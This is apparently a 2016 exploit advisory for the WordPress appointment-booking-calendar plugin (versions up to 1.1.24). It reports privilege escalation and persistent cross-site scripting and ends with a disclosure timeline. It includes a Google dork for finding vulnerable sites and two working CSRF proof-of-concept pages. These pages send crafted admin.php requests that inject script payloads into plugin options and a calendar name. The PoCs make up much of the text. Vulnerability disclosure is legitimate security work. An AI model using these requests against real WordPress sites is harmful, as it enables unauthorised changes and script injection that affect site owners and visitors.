WordPress Appointment Booking Calendar plugin versions 1.1.24 and below suffer from privilege escalation and cross site scripting vulnerabilities.
b8ef07d7c19363e2128f8f09d9ae5133d90fd0610c5195d1948cf38e3f39ac69# Exploit Title: WordPress appointment-booking-calendar <=1.1.24 - Privilege escalation (Managing calendars) & Persistent XSS
# Date: 2016-01-28
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/
# Exploit Author: Joaquin Ramirez Martinez [ i0 security-lab]
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form
# Vendor: CodePeople.net
# Vebdor URI: http://codepeople.net
# Version: 1.1.24
# Tested on: windows 10 + firefox + sqlmap 1.0.
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PRODUCT DESCRIPTION
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"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in
a calendar**. The booking form is linked to a **PayPal** payment process.
You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings
that can be accepted for each time-slot."
(copy of readme file)
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EXPLOITATION TECHNIQUE
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remote
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SEVERITY LEVEL
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medium
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TECHNICAL DETAILS && DESCRIPTION
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Multiple privilege escalation were found in appointment-booking-calendar plugin that allows remote low level
and unauthenticated users to update calendar owners and options (allowing persistent XSS).
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PROOF OF CONCEPT
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Changing all appointment tables with UTF-8 charset, injecting persistent XSS into ´ict´ and ´ics´ options and setting
´CPABC_APPOINTMENTS_LOAD_SCRIPTS´ option to value ´1´.
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:80/wordpress/wp-admin/admin.php?page=cpabc_appointments&ac=st&chs=UTF-8&ict=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&ics=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&scr=1", true);
xhr.send();
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
Updating calendar with id 1 and setting name with persistent XSS (if the shortcode [CPABC_APPOINTMENT_CALENDAR calendar="1"]
is added in a post, the injected XSS will appear, in administration page appear too).
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:80/wordpress/wp-admin/admin.php?page=cpabc_appointments&u=1&owner=5&name=%3C%2Foption%3E%3C%2Fselect%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2Fjoaquin%2F%29%3E%3C", true);
xhr.send();
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
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CREDITS
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Vulnerability discovered by:
Joaquin Ramirez Martinez [i0 security-lab]
joaquin.ramirez.mtz.lab[at]yandex[dot]com
https://www.facebook.com/I0-security-lab-524954460988147/
https://www.youtube.com/user/strparser_lk
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TIMELINE
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2016-01-08 vulnerability discovered
2016-01-24 reported to vendor
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